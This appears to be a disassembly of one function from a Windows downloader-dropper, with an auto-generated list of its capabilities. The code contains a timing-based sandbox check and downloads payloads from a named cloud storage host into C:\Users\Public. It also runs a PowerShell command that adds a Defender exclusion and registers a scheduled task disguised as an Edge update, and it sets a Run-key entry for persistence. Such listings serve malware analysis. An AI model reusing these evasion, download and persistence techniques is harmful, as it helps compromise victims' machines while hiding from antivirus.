Function at 0x4014f0
Capabilities:
Create process on windows
Create process suspended
Delete file
Initialize winhttp library
Persist via run registry key
Prepare http request
Receive http response
Schedule task via schtasks
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
mov eax, 0x1570
call fcn.00403380
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.00402b90
lea rax, [rbp + 0x1490]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemTime]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp + 0x1480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemTime]
call rax
movzx eax, word [rbp + 0x149c]
movzx eax, ax
imul rdx, rax, 0x3e8
movzx eax, word [rbp + 0x149e]
movzx eax, ax
add rax, rdx
mov qword [rbp + 0x14d8], rax
movzx eax, word [rbp + 0x148c]
movzx eax, ax
imul rdx, rax, 0x3e8
movzx eax, word [rbp + 0x148e]
movzx eax, ax
add rax, rdx
mov qword [rbp + 0x14d0], rax
mov rax, qword [rbp + 0x14d8]
mov rdx, qword [rbp + 0x14d0]
sub rdx, rax
mov rax, rdx
mov qword [rbp + 0x14c8], rax
cmp qword [rbp + 0x14c8], 0x1387
jbe 0x4015c0
cmp qword [rbp + 0x14c8], 0x157c
jbe 0x4015ca
mov eax, 1
jmp 0x401d47
mov qword [rbp + 0x14c0], 0
mov qword [rbp + 0x14e8], 0
mov qword [rbp + 0x14e0], 0
mov dword [rbp + 0x14bc], 0
mov dword [rbp + 0x147c], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.A_WinHTTP_Example_Program_1.0
call main
mov qword [rbp + 0x14c0], rax
cmp qword [rbp + 0x14c0], 0
je 0x401ae0
mov rax, qword [rbp + 0x14c0]
mov r9d, 0
mov r8d, 0x50
lea rdx, str.55sdsd.oss_ap_southeast_6.aliyuncs.com
mov rcx, rax
call sub.WINHTTP.dll_WinHttpConnect
mov qword [rbp + 0x14e8], rax
cmp qword [rbp + 0x14e8], 0
je 0x401ae0
mov rax, qword [rbp + 0x14e8]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str._x103.zzz
lea rdx, [0x004050a2]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpOpenRequest
mov qword [rbp + 0x14e0], rax
cmp qword [rbp + 0x14e0], 0
je 0x401ae0
mov rax, qword [rbp + 0x14e0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpSendRequest
mov dword [rbp + 0x14bc], eax
cmp dword [rbp + 0x14bc], 0
je 0x401ae0
mov rax, qword [rbp + 0x14e0]
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReceiveResponse
mov dword [rbp + 0x14bc], eax
cmp dword [rbp + 0x14bc], 0
je 0x401ae0
lea rax, [rbp + 0x1270]
lea rdx, [0x004050b0]
mov rcx, rax
call sub.msvcrt.dll_wcscpy
lea rax, [rbp + 0x1270]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x82
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x14b0], rax
cmp qword [rbp + 0x14b0], 0xffffffffffffffff
je 0x401a8b
mov dword [rbp + 0xfd4], 0
lea rcx, [rbp + 0xfd4]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x14e0]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReadData
mov dword [rbp + 0x14bc], eax
cmp dword [rbp + 0x14bc], 0
je 0x401866
mov eax, dword [rbp + 0xfd4]
test eax, eax
je 0x401866
mov ecx, dword [rbp + 0xfd4]
lea r8, [rbp + 0x147c]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x14b0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov dword [rbp + 0x14bc], eax
cmp dword [rbp + 0x14bc], 0
je 0x401839
mov edx, dword [rbp + 0x147c]
mov eax, dword [rbp + 0xfd4]
cmp edx, eax
je 0x401861
mov rax, qword [rbp + 0x14b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x1270]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
jmp 0x401866
jmp 0x4017a7
mov rax, qword [rbp + 0x14b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x14e0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rax, qword [rbp + 0x14e8]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.jh.xml
lea rdx, [0x004050a2]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpOpenRequest
mov qword [rbp + 0x14e0], rax
cmp qword [rbp + 0x14e0], 0
je 0x401a89
mov rax, qword [rbp + 0x14e0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpSendRequest
mov dword [rbp + 0x14bc], eax
cmp dword [rbp + 0x14bc], 0
je 0x401a89
mov rax, qword [rbp + 0x14e0]
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReceiveResponse
mov dword [rbp + 0x14bc], eax
cmp dword [rbp + 0x14bc], 0
je 0x401a89
lea rax, [rbp + 0x1270]
lea rdx, str.C:UsersPublicjh.xml
mov rcx, rax
call sub.msvcrt.dll_wcscpy
lea rax, [rbp + 0x1270]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x82
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x14b0], rax
cmp qword [rbp + 0x14b0], 0xffffffffffffffff
je 0x401a89
lea rcx, [rbp + 0xfd4]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x14e0]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReadData
mov dword [rbp + 0x14bc], eax
cmp dword [rbp + 0x14bc], 0
je 0x401a74
mov eax, dword [rbp + 0xfd4]
test eax, eax
je 0x401a74
mov ecx, dword [rbp + 0xfd4]
lea r8, [rbp + 0x147c]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x14b0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov dword [rbp + 0x14bc], eax
cmp dword [rbp + 0x14bc], 0
je 0x401a47
mov edx, dword [rbp + 0x147c]
mov eax, dword [rbp + 0xfd4]
cmp edx, eax
je 0x401a6f
mov rax, qword [rbp + 0x14b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x1270]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
jmp 0x401a74
jmp 0x4019b5
mov rax, qword [rbp + 0x14b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401ae0
jmp 0x401ae0
cmp qword [rbp + 0x14e0], 0
je 0x401aa4
mov rax, qword [rbp + 0x14e0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
cmp qword [rbp + 0x14e8], 0
je 0x401abd
mov rax, qword [rbp + 0x14e8]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
cmp qword [rbp + 0x14c0], 0
je 0x401ad6
mov rax, qword [rbp + 0x14c0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
mov eax, 1
jmp 0x401d47
cmp qword [rbp + 0x14e0], 0
je 0x401af9
mov rax, qword [rbp + 0x14e0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
cmp qword [rbp + 0x14e8], 0
je 0x401b12
mov rax, qword [rbp + 0x14e8]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
cmp qword [rbp + 0x14c0], 0
je 0x401b2b
mov rax, qword [rbp + 0x14c0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
lea rax, [rbp + 0x1200]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp + 0x1200], 0x68
lea rax, [rbp + 0x11e0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp + 0xfe0]
mov rdx, rax
lea rax, str.powershell.exe__NoProfile__Command__Add_MpPreference__ExclusionPath_C:UsersPublic___xmlContent__Get_Content__Path_C:UsersPublicjh.xml__Raw__Register_ScheduledTask__Xml__xmlContent__TaskName_MicrosoftEdgeUpdateTaskUserS_1_5_21_4220318521_1419758426_78524122_1000Core680DECD5_5011_4D3F_949A_4D7BAA279AC3_
mov ecx, 0x27
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rax, rsi
mov rdx, rdi
mov ecx, dword [rax]
mov dword [rdx], ecx
add rdx, 4
add rax, 4
movzx ecx, byte [rax]
mov byte [rdx], cl
add rdx, 1
add rax, 1
lea rax, [rbp + 0xfe0]
lea rdx, [rbp + 0x11e0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x1200]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x11e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [0x00405265]
lea rcx, str.C:UsersPublicempty.txt
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x14a8], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:UsersPublicempty.txt
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x00405286]
lea r8, str.C:UsersPublicdllhost.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rax, str.C:UsersPublicdllhost.exe
mov qword [rbp + 0x14a0], rax
lea rax, [rbp + 0xfd8]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov rax, qword [rbp + 0x14a0]
mov rcx, rax
call sub.msvcrt.dll_strlen
lea edx, [rax + 1]
mov rax, qword [rbp + 0xfd8]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp + 0x14a0]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.MyProgram
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0xfd8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
add rsp, 0x1570
pop rsi
pop rdi
pop rbp
ret